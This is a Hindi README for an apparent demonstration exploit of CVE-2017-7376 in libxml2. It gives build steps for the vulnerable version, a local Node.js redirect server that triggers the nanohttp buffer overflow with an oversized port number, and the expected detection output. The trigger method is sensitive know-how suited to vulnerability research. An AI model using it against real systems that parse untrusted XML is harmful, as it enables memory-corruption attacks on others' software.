
CVE-2017-7376 के लिए एक उदाहरण शोषण
CVE-2017-7376 के लिए एक उदाहरण शोषण
इस रिपॉजिटरी और libxml2 का एक कमजोर संस्करण डाउनलोड करें, जैसे v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
शोषण की सफलता को अधिक दृश्यमान बनाने के लिए, libxml2 में बफर ओवरफ्लो का पता लगाने के लिए कोड जोड़ें। यदि आपके पास दृश्यता के अन्य साधन हैं, जैसे कि एप्लिकेशन क्रैश होना, तो आवश्यक नहीं है।
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
निम्नलिखित त्रुटि की स्थिति में:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
configure.in में AM_C_PROTOTYPES को dnl AM_C_PROTOTYPES से बदलें, उदाहरण के लिए इस प्रकार:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
वापस जाएँ
cd ..
इस शोषण के लिए एक वेब सर्वर की आवश्यकता होती है जो एक नए URL पर रीडायरेक्ट करता है जिसका पोर्ट नंबर 5 अंकों से अधिक और int32max (2147483648 = 2^32/2) से कम हो।
सर्वर प्रारंभ करें (node JS की आवश्यकता है और पोर्ट 127.0.0.1:8080 खाली होना चाहिए):
node http.js &
वेब सर्वर का परीक्षण करें; अमान्य पोर्ट नंबर 2147426192 के बारे में शिकायत होनी चाहिए:
wget localhost:8080
make
./run.sh
अपेक्षित आउटपुट:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
यह डेमो शोषण मुख्य प्रोग्राम को xmlXIncludeProcess() निष्पादित करने की आवश्यकता है ताकि libxml2 में दोषपूर्ण कोड तक पहुँचा जा सके, जो कई वास्तविक कार्यान्वयनों में उपयोग किए जाने की संभावना नहीं है। लेकिन nanohttp.c टिप्पणी में उल्लेख करता है कि यह एक minimalist HTTP GET implementation to fetch external subsets है जो शोषण का एक और मार्ग प्रदान कर सकता है।